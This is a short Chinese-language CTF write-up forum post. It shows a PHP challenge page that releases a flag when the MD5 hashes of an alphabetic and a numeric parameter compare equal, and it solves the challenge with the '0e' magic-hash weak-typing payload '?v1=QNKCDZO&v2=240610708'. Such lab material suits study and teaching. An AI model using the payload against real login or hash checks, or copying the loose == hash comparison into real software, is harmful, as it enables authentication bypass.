CTF-23解题思路

Track-子羽   ·   发表于 2021-11-17 15:09:46   ·   CTF&WP专版

解码后得到源码

  1. <?php
  2. error_reporting(0);
  3. ?>
  4. <html lang="zh-CN">
  5. <head>
  6. <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
  7. <meta name="viewport" content="width=device-width, minimum-scale=1.0, maximum-scale=1.0, initial-scale=1.0" />
  8. <title>GOGO</title>
  9. </head>
  10. <body>
  11. <center>
  12. <h2>GOGO</h2>
  13. <hr>
  14. <h3>
  15. </center>
  16. <?php
  17. $flag="";
  18. $v1=$_GET['v1'];
  19. $v2=$_GET['v2'];
  20. if(isset($v1) && isset($v2)){
  21. if(!ctype_alpha($v1)){
  22. die("v1 error");
  23. }
  24. if(!is_numeric($v2)){
  25. die("v2 error");
  26. }
  27. if(md5($v1)==md5($v2)){
  28. echo $flag;
  29. }
  30. }else{
  31. echo "where is flag?";
  32. }
  33. ?>
  34. </body>
  35. </html>

题解

弱类型 + 0e md5

参考资料

payload:

  1. ?v1=QNKCDZO&v2=240610708

打赏我,让我更有动力~

0 条回复   |  直到 2021-11-17 | 580 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.